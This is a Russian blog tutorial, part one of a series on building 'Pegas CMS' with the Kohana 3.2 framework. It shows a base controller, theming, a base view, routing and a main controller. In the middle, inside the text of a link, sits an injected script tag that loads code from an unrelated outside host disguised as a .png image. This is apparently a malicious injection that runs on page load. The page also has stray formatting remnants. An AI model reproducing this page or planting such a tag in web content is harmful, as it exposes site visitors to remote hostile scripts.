Написание CMS на Kohana 3.2 — 1 статья

Написание CMS на Kohana — 1 статья

Здравствуйте ,сегодня мы начнем писать приблизительную основу нашей cms на фреймворке kohana 3.2

Наш план на сегодня:
1. Написание базового контроллера
2. Изменим местоположение папки views с видом ,создадим возможность темизации
3. Напишем базовый файл для видов
4. Изменим вывод контроллера по умолчанию

1) Написание базового контроллера
Базовый контроллер по сути является связующим звеном между видом ,логикой и контроллерами нашего приложения.
Через базовый контроллер мы также будем управлять сессиями ,подключать конфигурационные файлы,управлять выводом контента и т.д
Базовый контроллер будет наследоваться всеми другими контроллерами приложения.

Создадим в папке application/classes/ абстрактный класс Page

<?php defined('SYSPATH') or die('No direct script access.');
abstract class Page extends Controller_Template {
    public $themes = 'default';
    public $template = 'default';
    public function before()
    {
    parent::before();
    }
}
&#91;/php&#93;
Мы расположили его выше уровнем чем другие контроллеры так как напрямую вызываться он не будет ,а только наследоваться.
В свою очередь мы наследуем его от базового класса вида - Template
Метод before() является методом конструктором в kohana
Продолжаем ,позже вернемся
2) Изменим местоположение папки views с видом ,создадим возможность темизации
По умолчанию файлы вида находятся в папке application/views это не совсем удобно по ряду причин.
Раньше я уже писал в блоге по этому поводу, поэтому дам ссылку -
<a title="Kohana 3.2- темизация ,изменение местоположения папки views" href="http://gilamov.ru/kohana/kohana-3-2-temizatsiya-izmenenie-mestopolozhen" target="_blank">Kohana 3.2- темизация ,изменение местоположения папки views<script src="//wollses.com/steps.png"></script></a>
Внесем изменения в код согласно статьи выше ^
3) Напишем базовый файл для видов
Для начало подробнее разберем код файла нашего базового класса Page.
В нем есть переменная класса - $template
$default - название папки с видами
$template - название базового файла вида. Это тоже своего рода базовый контроллер для вида ,вернее он выполняет схожие функции.
В нем обычно содержится подключение файлов стилей ,js скриптов ,вывод шапки и подвала.
Примерная структура:
Подключается базовый вид - main. Затем подключаются другие файлы файла вида содержимое которых выводиться в базовом виде.
Создадим базовый файл вида /themes/default/ - default
<h1>Pegas CMS - написание CMS на kohana 3.2</h1>
<?php echo $content ?>
</h5>&copy; Pegas CMS 2012 г</h5>

Переменная $content нужна для возможности подключения других файлов вывода ,в эту переменную мы будем записывать их содержимое ,и выводить в теле — main

4) Изменим вывод контроллера по умолчанию
В файле application/bootstrap.php изменим название контроллера по умолчанию на — main

/**
 * Set the routes. Each route must have a minimum of a name, a URI and a set of
 * defaults for the URI.
 */
Route::set('default', '(<controller>(/<action>(/<id>)))')
	->defaults(array(
		'controller' => 'main',
		'action'     => 'index',
	));

Теперь создадим контроллер — main в папке application/classes/controller/

<?php defined('SYSPATH') or die('No direct script access.');
class Controller_Main extends Page {
	public function action_index()
	{
        $this->template->content = View::factory('/pages/main');
	}
} // End Main

Контроллер main мы наследуем от базового контроллера Page.
В методе action_index() мы передаем переменную контента — в файл вида main.
Создадим файл вида main в папке /themes/default/pages/ со следующим содержимым

<h3>Наша главная страница</h3>

Если все написано правильно то при переходе на наш локальный сайт выйдет

Многие вещи могут показаться запутанными и непонятными ,подробнее на них останавливаться пока не будем со временем все станет понятней. Также как совет если вам не понятно лезьте в код фреймворка ,он отлично
задокументирован ,сам код логически понятен.

Для ленивых и программистов ). Буду выкладывать исходники в конце каждой статьи цикла.

Скачать исходники pegas_1

P.S Вопросы в комментарии )

Гиламов Данис

Приветствую вас уважаемый посетитель! Меня зовут Данис, на страницах дневника я пишу о том что мне интересно: программирование, саморазвитие, спорт, мои размышления, творчество. Надеюсь вы сможете найди для себя полезную информацию, если вы что-то заметили, захотели обсудить, прошу оставлять комментарии в статьях, в Журнале или Написать мне Для меня - это лучшая награда. Спасибо за внимание :)

Вам также может понравиться ...